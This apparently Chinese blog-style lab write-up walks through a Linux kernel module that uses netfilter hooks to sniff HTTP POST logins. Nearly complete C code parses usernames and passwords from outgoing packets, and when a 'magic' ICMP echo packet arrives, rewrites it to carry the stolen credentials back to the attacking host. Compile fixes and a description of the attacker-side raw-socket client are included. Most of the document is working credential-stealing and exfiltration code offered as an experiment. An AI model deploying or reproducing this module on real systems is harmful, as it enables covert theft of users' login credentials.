目录
- Netfilter简介
- 实验-target端
- 内核模块的操作
- 初始化netfilter
- 解析http包,获取用户名和密码
- 实验-hack端
- 遇到的问题
@
Netfilter简介
Netfilter是从Linux 2.4开始引入内核的一个子系统,是在网络流程的若干位置放置了一些hook(钩子),将数据拉出来做一些处理(如包过滤,NAT等)后,再放回到网络流程。
netfilter和iptables的关系
网络层的hook:
NF_IP_PRE_ROUTING:刚刚进入网络层的数据包
NF_IP_LOCAL_IN:经路由查找后,送往本机,INPUT包过滤
NF_IP_FORWARD:要转发的包,FORWORD包过滤
NF_IP_POST_ROUTING:要通过网络设备发出去的包
NF_IP_LOCAL_OUT:本机发出的包,OUTPUT包过滤
实验-target端
实验环境:ubuntu 18.04 kernel 4.15
源代码:nf_http.c getData.c Makefile
内核模块的操作
- 头文件 linux/kernel.h linux/module.h
- 初始化模块(netfilter,见下)
- 编译得到.ko文件
LKM的编译和应用层代码使用的gcc不同,它使用Makefile,kbuild。
obj-m += hello-world.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
make生成目标文件.ko,可以加载到内核。 - 加载模块 sudo insmod nf_http.ko
- 打印10行信息 dmesg | tail
- 查看内核模块sudo lsmod
- 卸载模块 sudo rmmod nf_http (注意不用.ko)
完整的LKM编程模块
#include <linux/kernel.h> #include <linux/module.h> #include <linux/init.h> static int __init init_my_module(void) { printk(KERN_INFO "Hello, Kernel!\n"); return 0; } static void __exit exit_my_module(void) { printk(KERN_INFO "Bye, Kernel!\n"); } module_init(init_my_module); module_exit(exit_my_module); MODULE_LICENSE("GPL"); MODULE_AUTHOR("TEST");
初始化netfilter
- 头文件 :
- linux/netfilter.h
- linux/netfilter_ipv4.h
- linux/netfilter.h
- 钩子点结构体
struct nf_hook_ops { struct list_head list; /* 此下的值由程序员填充 */ nf_hookfn *hook; int pf; int hooknum; /* Hook以升序的优先级排序 */ int priority; };
- PRE_ROUTING 钩子:watch_in() 检查发出去的包
- POST_ROUTING钩子:watch_out() 检查收到的包
struct nf_hook_ops pre_hook; struct nf_hook_ops post_hook; int init_module() { pre_hook.hook = watch_in; pre_hook.pf = PF_INET; pre_hook.priority = NF_IP_PRI_FIRST; pre_hook.hooknum = NF_INET_PRE_ROUTING; post_hook.hook = watch_out; post_hook.pf = PF_INET; post_hook.priority = NF_IP_PRI_FIRST; post_hook.hooknum = NF_INET_POST_ROUTING; nf_register_net_hook(&init_net,&pre_hook); nf_register_net_hook(&init_net,&post_hook); return 0; }
## 用netfilter过滤发出去的http包
static unsigned int watch_out(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) { struct sk_buff *sb = skb; struct tcphdr *tcp; printk("post routing"); /* Make sure this is a TCP packet first */ if (ip_hdr(sb)->protocol != IPPROTO_TCP) return NF_ACCEPT; /* Nope, not TCP */ tcp = (struct tcphdr *)((sb->data) + (ip_hdr(sb)->ihl * 4)); /* Now check to see if it's an HTTP packet */ //发现dest port=80的http包,就调用check_http() if (tcp->dest != htons(80)) return NF_ACCEPT; /* Nope, not FTP */ /* Parse the HTTP packet for relevant information if we don't already * have a username and password pair. */ if (!have_pair) { printk("check http"); check_http(sb); } /* We are finished with the packet, let it go on its way */ return NF_ACCEPT; }
解析http包,获取用户名和密码
通过网页源码或抓包确定表单提交方式、用户名和密码的变量名
表单提交有两种提交方式,get和post
get方式效率高但安全性低,如http://localhost:8080/test.do?name=test&password=123456 ,经常用于搜索,查询
post是封装后进行提交安全性高,常用与用户注册登陆等。
提交表单标签:
参考:https://zhidao.baidu.com/question/178748632260389044.html- 通过抓包了解该网页http post的结构,uid和pwd在html部分,该部分处于cookie后面,而cookie中含有uid,但没有pwd,且没有分隔符&
使用字符串匹配,过滤POST HTTP包,找到html中的username、password
static void check_http(struct sk_buff *skb) { struct tcphdr *tcp; char *data; char *name; char *passwd; char *_and; char *check_html; int len,i; tcp = tcp_hdr(skb); data = (unsigned char *)tcp + (unsigned char)(tcp->doff) * 4; //check POST //cookie中也有uid,但可能没有pwd,且没有&分隔,而提交的HTML数据在cookie的后面,可通过Upgrade-Insecure-Requests定位 if (strstr(data,"POST /") != NULL && strstr(data,"Upgrade-Insecure-Requests") != NULL && strstr(data, "&uid") != NULL && strstr(data, "&password") != NULL) { checkhtml = strstr(data,"Upgrade-Insecure-Requests"); printk("find POST html"); name = strstr(check_html,"&uid="); name += 5; _and = strstr(name,"&"); len = _and - name; if ((username = kmalloc(len + 1, GFP_KERNEL)) == NULL) return; memset(username, 0x00, len + 1); for (i = 0; i < len; ++i) { *(username + i) = name[i]; } *(username + len) = '\0'; passwd = strstr(name,"&password="); passwd += 10; _and = strstr(passwd,"&"); len = _and - passwd; if ((password = kmalloc(len + 1, GFP_KERNEL)) == NULL) return; memset(password, 0x00, len + 1); for (i = 0; i < len; ++i) { *(password + i) = passwd[i]; } *(password + len) = '\0'; } else { printk("it`s not a http post"); return; } if (!target_ip) target_ip = ip_hdr(skb)->daddr; if (!target_port) target_port = tcp->source; if (username && password) have_pair++; /* Have a pair. Ignore others until * this pair has been read. */ if (have_pair) printk("Have a uid&pwd pair! U: %s P: %s\n", username, password); }
## 用netfilter过滤收到的包
发现特定的icmp包后,修改此数据报的mac、ip、username、pwd,并发送回hack
static unsigned int watch_in(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) { struct sk_buff *sb = skb; struct icmphdr *icmp; char *cp_data; /* Where we copy data to in reply */ unsigned int taddr; /* Temporary IP holder */ printk("pre routing"); /* Do we even have a username/password pair to report yet? */ if (!have_pair) return NF_ACCEPT; /* Is this an ICMP packet? */ if (ip_hdr(sb)->protocol != IPPROTO_ICMP) return NF_ACCEPT; icmp = (struct icmphdr *)(sb->data + ip_hdr(sb)->ihl * 4); //+20 ip头 /* Is it the MAGIC packet? */ if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO || ICMP_PAYLOAD_SIZE < REPLY_SIZE) { printk("it`s not a MAGIC packet"); return NF_ACCEPT; } /* 直接修改接收的buffer, 这种情况只适合局域网内利用目的mac传输,因为没有经过路由*/ printk("get the MAGIC packet"); /*交换src dst 的ip*/ taddr = ip_hdr(sb)->saddr; ip_hdr(sb)->saddr = ip_hdr(sb)->daddr; ip_hdr(sb)->daddr = taddr; sb->pkt_type = PACKET_OUTGOING; //设置mac switch (sb->dev->type) { case ARPHRD_PPP: /* Ntcho iddling needs doing */ break; case ARPHRD_LOOPBACK: case ARPHRD_ETHER: { unsigned char t_hwaddr[ETH_ALEN]; /*将源MAC设置为目的MAC*/ sb->data = (unsigned char *)eth_hdr(sb); sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet); memcpy(t_hwaddr, (eth_hdr(sb)->h_dest), ETH_ALEN); memcpy((eth_hdr(sb)->h_dest), (eth_hdr(sb)->h_source), ETH_ALEN); memcpy((eth_hdr(sb)->h_source), t_hwaddr, ETH_ALEN); break; } }; /* Now copy the target IP, then Username, then password into packet */ /*(char *)icmp 是为了保证指针移动的标准是char* ,64位OS中是8字节*/ cp_data = (char *)((char *)icmp + sizeof(struct icmphdr)); memcpy(cp_data, &target_ip, 4); if (username) //memcpy(cp_data + 4, username, 16); memcpy(cp_data + 4, username, 16); if (password) memcpy(cp_data + 20, password, 16); /* 发送 buffer*/ dev_queue_xmit(sb); printk("the pair has been send to target"); /* Now free the saved username and password and reset have_pair */ kfree(username); kfree(password); username = password = NULL; have_pair = 0; target_port = target_ip = 0; printk("clear the pair\n"); /* 不能return NF_DROP,因为dev_queue_xmit将释放缓冲区, * Netfilter将尝试对NF_DROPped数据包执行相同操作,导致内核错误。*/ return NF_STOLEN; }
## 清理netfilter
void cleanup_module() { //struct net *net=NULL; nf_unregister_net_hook(&init_net,&post_hook); nf_unregister_net_hook(&init_net,&pre_hook); if (password) kfree(password); if (username) kfree(username); return; }
实验-hack端
源代码:getData.c
向target发送特殊的icmp包
raw socket 编程, 发送icmp数据包 ,保证足够的长度盛放target返回的数据。
ip头 20字节 icmp头 8字节 icmp数据 4+16+16=36字节
接收和打印target发回的数据
遇到的问题
make error 1:assignment from incompatible pointer type [-Werror=incompatible-pointer-types]
pre_hook.hook = watch_in;自从kernel4.13开始 hook函数的原型就是
int sample_nf_hookfn(void priv, struct sk_buff skb, const struct nf_hook_state *state);而不是
static unsigned int sample(unsigned int hooknum, struct sk_buff * skb, const struct net_device *in, const struct net_device *out, int (*okfn) (struct sk_buff *))
make error2 :
nf_register_hook(&pre_hook);
^~~~~~~~~~~~~~~~
nf_register_net_hooknf_register_hook在新版内核里面换成了 nf_register_net_hook(struct net net, const struct nf_hook_ops ops);
可以这样#if LINUX_VERSION_CODE >= KERNEL_VERSION(4,13,0) nf_register_net_hook(&init_net, ®) //&init_net 可直接使用 #else nf_register_hook(®) #endif
参考 :
https://blog.csdn.net/bw_yyziq/article/details/78290715
https://zhuanlan.zhihu.com/p/61343421
https://zhuanlan.zhihu.com/p/61164326 《UNIX网络编程》